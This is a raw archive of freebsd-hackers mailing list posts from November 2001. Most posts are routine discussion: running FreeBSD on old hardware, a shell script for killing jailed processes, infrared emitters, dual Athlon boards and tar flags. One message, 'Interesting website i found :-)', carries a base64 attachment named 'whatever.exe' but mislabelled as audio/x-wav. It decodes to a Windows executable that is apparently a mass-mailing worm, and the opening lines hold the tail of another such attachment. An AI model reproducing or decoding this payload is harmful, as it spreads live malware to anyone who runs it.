AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADVq= --bound-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 17: 7:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id C78B337B419 for ; Sun, 25 Nov 2001 17:07:26 -0800 (PST) Received: from localhost (davidwnt.viasoft.com.cn [192.168.1.239]) by mail.viasoft.com.cn (8.9.3/8.9.3) with SMTP id JAA04466 for freebsd-hackers@FreeBSD.ORG; Mon, 26 Nov 2001 09:14:32 +0800 From: davidx@viasoft.com.cn Message-Id: <200111260114.JAA04466@mail.viasoft.com.cn> To: freebsd-hackers@FreeBSD.ORG Subject: Interesting website i found :-) Date: Mon,26 Nov 2001 09:03:15 -0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="bound" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADVq= --bound-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 17:30:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 07B9D37B405 for ; Sun, 25 Nov 2001 17:30:43 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAQ1UhU02336; Sun, 25 Nov 2001 20:30:43 -0500 (EST) (envelope-from bicknell) Date: Sun, 25 Nov 2001 20:30:43 -0500 From: Leo Bicknell To: "we'uns" Cc: hackers@FreeBSD.ORG Subject: Re: size Message-ID: <20011125203043.A2219@ussenterprise.ufp.org> Mail-Followup-To: we'uns , hackers@FreeBSD.ORG References: <001a01c175cb$59ccf620$6401a8c0@office> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001a01c175cb$59ccf620$6401a8c0@office>; from mpj900@optonline.net on Sun, Nov 25, 2001 at 11:07:58AM -0500 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 25, 2001 at 11:07:58AM -0500, we'uns wrote: > Greetings. I got this email address out of the FreeBSD Newsletter, > issue#1. I'm not sure if you're the right guys to address such a > query to so if this seems out of place I apologize, but perhaps > you can direct it to the right folks. These sorts of things should go to freebsd-questions@freebsd.org. > I've got an old P1 135 (I think, may be 125, can't remember), > 1.7G HD, 32M RAM...in short, a dinosaur. I want to experiment with > FreeBSD and would like to do so on a machine that is non-critical > so I have time to learn it without being under the gun. I was > reading in the newsletter that Dave Filo was using BSD on an old > (probably wasn't old back in '97, haha!) P100, 32M RAM machine and > that the release number for BSD then was 2.2 STABLE (what is > "stable", or was that an aside by the author?). I've seen FreeBSD > releases in the somewhat recent past at 3.4 I believe, and it has > me wondering: will an older machine like mine will be large enough > to handle the newer releases? FreeBSD will run on your machine. The only problems you may have is if you try to run some very large software packages it may be excessively slow. For more information please see the "FreeBSD Handbook" at www.freebsd.org. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 18:17: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id F025C37B417; Sun, 25 Nov 2001 18:16:56 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.5) with SMTP id fAQ2Gei81973; Sun, 25 Nov 2001 21:16:40 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Sun, 25 Nov 2001 21:16:39 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Gregory Neil Shapiro Cc: Evan Sarmiento , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: jail patch In-Reply-To: <15361.9475.891401.44730@horsey.gshapiro.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 25 Nov 2001, Gregory Neil Shapiro wrote: > evms> I wrote this a while ago, but, if anyone is interested, please > evms> take a look: this module implements a system call that takes > evms> a u_int_32t. This system call, named killjail, kills all processes > evms> which belong to the jail which uses that particular IP address. > > evms> I included it in a tar with a makefile and with a program > evms> that uses it. (Eg: ./killjail 1.2.3.4) > > evms> http://www.sekt7.org/kjs.tar > > evms> Works on 4.4 but can be easily ported to 5.0. > > This can be done in userland without kernel interaction: > > #!/bin/sh > > EX_OK=0 > EX_USAGE=64 > > if [ "$1" = "" ] > then > echo "Usage: $0 jailname" > exit ${EX_USAGE} > fi > > pids=`grep -l " $1\$" /proc/*/status | awk -F/ '{print $3}'` > if [ "$pids" != "" ] > then > kill -15 $pids 2> /dev/null > fi > exit ${EX_OK} Note that there are a couple of caveats: (1) This only works well if jail.set_hostname_allowed is set to '0', or jails can rename themselves to avoid being killed, including to unfortunate names such as '-'. (2) This can be raced, unlike a kill(-1, 15) from within the jail (I believe). In the jailng code, I allow jails to be identified using a name (other than the hostname) when they are created, and that can later be used as a handle for signalling. Two of the concepts that are useful in jailng are (1) the ability to identify jails and manage them from the outside more easily, and (2) jailinit, which permits a jail to maintain a runlevel, meaning that you don't have to be 'in' a jail in order to start an orderly shutdown (as you can signal jailinit), not to mention introducing the notion of an orderly shutdown :-). Introducing a jailkill() based on a u_int32_t argument seems somewhat hackish to me; on the other hand, it does address a real need. I suspect a jailkill script of this sort is the answer for -STABLE, and that in -CURRENT, a more comprehensive solution would be better. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 18:57:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from auth1.hk3.outblaze.com (auth1.hk3.outblaze.com [203.161.224.97]) by hub.freebsd.org (Postfix) with SMTP id B124D37B416 for ; Sun, 25 Nov 2001 18:57:31 -0800 (PST) Received: (qmail 26620 invoked from network); 26 Nov 2001 02:57:26 -0000 Received: from unknown (HELO 3fl-136.outblaze.com) (202.77.223.2) by auth1.hk3.outblaze.com with SMTP; 26 Nov 2001 02:57:26 -0000 Subject: subscribe From: Kaming To: freebsd-hackers@FreeBSD.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.16.99+cvs.2001.10.31.22.56 (Preview Release) Date: 26 Nov 2001 10:57:22 +0800 Message-Id: <1006743446.816.4.camel@kaming.portal2.com> Mime-Version: 1.0 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 21:24: 3 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from sigbus.com (we-24-126-148-218.we.mediaone.net [24.126.148.218]) by hub.freebsd.org (Postfix) with ESMTP id 9B6E237B417; Sun, 25 Nov 2001 21:23:59 -0800 (PST) Received: (from henrich@localhost) by sigbus.com (8.11.1/8.11.1) id fAQ5NLF45222; Sun, 25 Nov 2001 21:23:21 -0800 (PST) (envelope-from henrich) Date: Sun, 25 Nov 2001 21:23:21 -0800 From: Charles Henrich To: freebsd-hackers@freebsd.org, freebsd-multimedia@freebsd.org Subject: Infrared emitters under FreeBSD Message-ID: <20011125212321.A45020@sigbus.com> Mail-Followup-To: freebsd-hackers@freebsd.org, freebsd-multimedia@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.2-RELEASE X-PGP-Fingerprint: 1024/F7 FD C7 3A F5 6A 23 BF 76 C4 B8 C9 6E 41 A4 4F X-GPG-Fingerprint: EA4C AB9B 0C38 17C0 AB3F 11DE 41F6 5883 41E7 4F49 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Has anyone out there played with controlling an infrared emitter from a FreeBSD box? Ideally I'd love to be able to control my satellite receiver from a remote location, streaming the video out at the same time :) So far I've only found a TekRam IRMate, but its only available in germany :(. Anyone out there have any luck with a project like this? -Crh Charles Henrich Eon Entertainment henrich@msu.edu http://www.sigbus.com:81/~henrich To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 2:40:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id D50B837B419 for ; Mon, 26 Nov 2001 02:40:22 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id fAQAe7041375; Mon, 26 Nov 2001 02:40:07 -0800 (PST) (envelope-from obrien) Date: Mon, 26 Nov 2001 02:40:07 -0800 From: "David O'Brien" To: Hiten Pandya Cc: Tim Wiess , hackers@freebsd.org Subject: Re: Problems with Dual Athlons Message-ID: <20011126024007.A41312@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20011123144529.A5628@ahaza.com> <20011124104812.11118.qmail@web21109.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011124104812.11118.qmail@web21109.mail.yahoo.com>; from hitmaster2k@yahoo.com on Sat, Nov 24, 2001 at 02:48:12AM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 02:48:12AM -0800, Hiten Pandya wrote: > hi.. no offense... but Tyan motherboards are the one > which cause the whole problem... What are you talking about? Tyan Thunder/Tigger boards work *beautifully*. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 2:41:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 8862D37B428; Mon, 26 Nov 2001 02:40:59 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id fAQAewN41401; Mon, 26 Nov 2001 02:40:58 -0800 (PST) (envelope-from obrien) Date: Mon, 26 Nov 2001 02:40:58 -0800 From: "David O'Brien" To: "Andrew R. Reiter" Cc: Doug Barton , Dag-Erling Smorgrav , hackers@FreeBSD.org Subject: Re: Bugmeister discussion list Message-ID: <20011126024058.B41312@dragon.nuxi.com> Reply-To: obrien@FreeBSD.org References: <20011122192026.O44004-100000@c101658-a.stcla1.sfba.home.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from arr@FreeBSD.org on Thu, Nov 22, 2001 at 11:19:25PM -0500 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 11:19:25PM -0500, Andrew R. Reiter wrote: > > I thought it was normal process for a new FreeBSD mailing list to be > hosted on another site until it was deemed beneficial to have @FreeBSD.org > host it. Nope. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 2:44:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 2778C37B417 for ; Mon, 26 Nov 2001 02:44:11 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id fAQAhxh41438; Mon, 26 Nov 2001 02:43:59 -0800 (PST) (envelope-from obrien) Date: Mon, 26 Nov 2001 02:43:59 -0800 From: "David O'Brien" To: "Walter C. Pelissero" Cc: hackers@FreeBSD.ORG Subject: Re: tar and nodump flag Message-ID: <20011126024359.C41312@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <15355.47042.573852.420151@hyde.lpds.sublink.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15355.47042.573852.420151@hyde.lpds.sublink.org>; from walter@pelissero.org on Wed, Nov 21, 2001 at 02:18:42PM +0000 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 02:18:42PM +0000, Walter C. Pelissero wrote: > How about adding the nodump flag processing in tar? This would be a *bad* idea. It would diverge our tar even more than it already is -- which is so bad it isn't trival to update to the latest version (ours is many years behind). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 2:45:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailgate2.abacus.co.uk (mailgate2.abacus.co.uk [194.130.48.119]) by hub.freebsd.org (Postfix) with SMTP id 0D55A37B405 for ; Mon, 26 Nov 2001 02:45:23 -0800 (PST) Received: (qmail 37954 invoked from network); 26 Nov 2001 10:45:21 -0000 Received: from unknown (HELO dp.abacus.co.uk) (194.130.48.111) by mailgate2.abacus.co.uk with SMTP; 26 Nov 2001 10:45:21 -0000 Message-ID: <3C021D40.C83C6186@dp.abacus.co.uk> Date: Mon, 26 Nov 2001 10:45:20 +0000 From: Antony T Curtis Reply-To: antony@abacus.co."uk" Organization: Abacus Polar PLC (UK) X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Robert Watson Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: jail patch References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Robert Watson wrote: > > On Sun, 25 Nov 2001, Gregory Neil Shapiro wrote: > In the jailng code, I allow jails to be identified using a name (other > than the hostname) when they are created, and that can later be used as a > handle for signalling. Two of the concepts that are useful in jailng are > (1) the ability to identify jails and manage them from the outside more > easily, and (2) jailinit, which permits a jail to maintain a runlevel, > meaning that you don't have to be 'in' a jail in order to start an orderly > shutdown (as you can signal jailinit), not to mention introducing the > notion of an orderly shutdown :-). I currently make use of a hacked version of init which allows me to have a whole "system" in a jail - this allows me to telnet in to a jail and do a shutdown. The only downside is that many things expect init to be pid=1 but in the jail, this isn't true - I keep the pid of the init in a temporary file (ugly hack, a better "hack" would probably involve hacking the kernel sources so that the jailed pid is "1" and that when that process dies, the whole jail gets a kill -9. -- ANTONY T CURTIS Tel: +44 (1635) 36222 Abacus Polar Holdings Ltd Fax: +44 (1635) 38670 > There is a green, multi-legged creature crawling on your shoulder. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From 